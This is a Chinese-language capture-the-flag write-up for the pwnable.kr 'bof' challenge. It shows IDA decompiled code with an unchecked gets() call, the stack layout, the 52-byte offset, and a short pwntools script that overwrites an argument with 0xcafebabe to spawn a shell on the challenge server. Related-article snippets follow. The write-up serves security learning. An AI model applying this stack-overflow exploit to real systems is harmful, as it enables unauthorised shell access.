Running at : nc pwnable.kr 9000

IDA查看

 1 unsigned int __cdecl func(int a1)
2 {
3 char s; // [esp+1Ch] [ebp-2Ch]
4 unsigned int v3; // [esp+3Ch] [ebp-Ch]
5
6 v3 = __readgsdword(0x14u);
7 puts("overflow me : ");
8 gets(&s);//未对输入长度进行限制,存在栈溢出
9 if ( a1 == 0xCAFEBABE )
10 system("/bin/sh");
11 else
12 puts("Nah..");
13 return __readgsdword(0x14u) ^ v3;
14 }

查看栈,

 1 -0000002C s               db ?
2 -0000002B db ? ; undefined
3 -0000002A db ? ; undefined
4 -00000029 db ? ; undefined
5 -00000028 db ? ; undefined
6 -00000027 db ? ; undefined
7 -00000026 db ? ; undefined
8 -00000025 db ? ; undefined
9 -00000024 db ? ; undefined
10 -00000023 db ? ; undefined
11 -00000022 db ? ; undefined
12 -00000021 db ? ; undefined
13 -00000020 db ? ; undefined
14 -0000001F db ? ; undefined
15 -0000001E db ? ; undefined
16 -0000001D db ? ; undefined
17 -0000001C db ? ; undefined
18 -0000001B db ? ; undefined
19 -0000001A db ? ; undefined
20 -00000019 db ? ; undefined
21 -00000018 db ? ; undefined
22 -00000017 db ? ; undefined
23 -00000016 db ? ; undefined
24 -00000015 db ? ; undefined
25 -00000014 db ? ; undefined
26 -00000013 db ? ; undefined
27 -00000012 db ? ; undefined
28 -00000011 db ? ; undefined
29 -00000010 db ? ; undefined
30 -0000000F db ? ; undefined
31 -0000000E db ? ; undefined
32 -0000000D db ? ; undefined
33 -0000000C var_C dd ?
34 -00000008 db ? ; undefined
35 -00000007 db ? ; undefined
36 -00000006 db ? ; undefined
37 -00000005 db ? ; undefined
38 -00000004 db ? ; undefined
39 -00000003 db ? ; undefined
40 -00000002 db ? ; undefined
41 -00000001 db ? ; undefined
42 +00000000 s db 4 dup(?)
43 +00000004 r db 4 dup(?)
44 +00000008 arg_0 dd ?
45 +0000000C
46 +0000000C ; end of stack variables

0x2c+8 =0x34=52,来到arg_0的存储空间

exp:

 1 from pwn import *
2
3 r = remote('pwnable.kr','9000')
4
5 buf = 52 * 'A'
6 buf += p32(0xcafebabe)
7
8 r.sendline(buf)
9
10 r.interactive()

pwnable.kr第三题bof的更多相关文章

  1. 【pwnable.kr】fb

    这是pwnable.kr的签到题,记录pwn入门到放弃的第一篇. ssh fd@pwnable.kr -p2222 (pw:guest) 题目很简单,登录上了ssh后,发现了3个文件:fd,fd.c, ...

  2. 【pwnable.kr】blackjack

    又一道pwnable nc pwnable.kr 9009 读题找到源代码在:http://cboard.cprogramming.com/c-programming/114023-simple-bl ...

  3. pwnable.kr之brainf*ck

    pwnable.kr之brainf*ck 今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获. 不多说了,今天看的是第二关的第一道题:brai ...

  4. 【pwnable.kr】bof

    pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Runnin ...

  5. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  6. pwnable.kr之bof

    打开题目: 先下载题目给我们的两个文件,查看文件信息: 发现没有执行的权限,所以先增加文件bof的执行权限,执行: 没发现啥,然后查看代码, #include <stdio.h> #inc ...

  7. pwnable.kr 第一题fd

    使用ssh fd@pwnable.kr -p2222连接输入密码guest 1 fd@prowl:~$ ls -al 2 total 40 3 drwxr-x--- 5 root fd 4096 Oc ...

  8. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  9. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

随机推荐

  1. javascript change array length methods

    javascript change array length methods Array 改变数组长度的方法 push, pop shift, unshift, splice, fill, 不改变数组 ...

  2. uniapp 扫二维码跳转

    在h5和wxapp中 生成qrcode的组件 https://ext.dcloud.net.cn/plugin?id=39 wx小程序扫二位码文档 生成链接时 computed: { ...mapSt ...

  3. django学习-13.通过pk值手动设置数据表主键

    1.前言 通过django框架的Model层来新增数据库表时,如果在需要新增的表字段里任何一个表字段都没设置主键,框架会默认新增一个表字段id并把该表字段id设置为主键. 那么,如果我们想自己动手设置 ...

  4. java中this和super的用法及区别

    this 用法1:代表当前对象本身 用法2:方法形参和类成员变量重名,用this进行区别 class demo{ private int age = 10; public int getAge(int ...

  5. Wireshark安装使用及报文分析

    先看链接!!! Wireshark使用教程:https://jingyan.baidu.com/article/93f9803fe902f7e0e56f5553.html Wireshark过滤规则筛 ...

  6. TKMybatis

    TKMybatis与Mybatis-plus都是mybatis的扩展,有相同的地方,也有不同的地方. 1.导入坐标 <!--mybatis依赖--> <dependency> ...

  7. Java基本概念:异常

    一.简介 描述: 异常(Exception)指不期而至的各种状况,异常发生的原因有很多,通常包含以下几大类: 用户输入了非法数据. 要打开的文件不存在. 网络通信时连接中断,或者JVM内存溢出. 异常 ...

  8. MarkDown简单语法回顾

    写在前面: 本文是我的第一篇博客文章,希望与大家共同交流.分享我们热爱的技术,努力成为一名优秀的软件工程师! 进入正文 使用MarkDown记笔记已经有些时候了,编辑器是使用的sublime text ...

  9. Spring IoC - 循环依赖

    Spring 复习 3.循环依赖 3.1 定义 循环依赖指多个对象的创建过程中均需要注入对方对象,如下所示 class A{ B b; public A(){ } public A(B b){ thi ...

  10. 使用gitlab构建基于docker的持续集成(三)

    使用gitlab构建基于docker的持续集成(三) gitlab docker aspnetcore 持续集成 构建发布思路: aspnetcore 下的dockerfile编写 发布docker- ...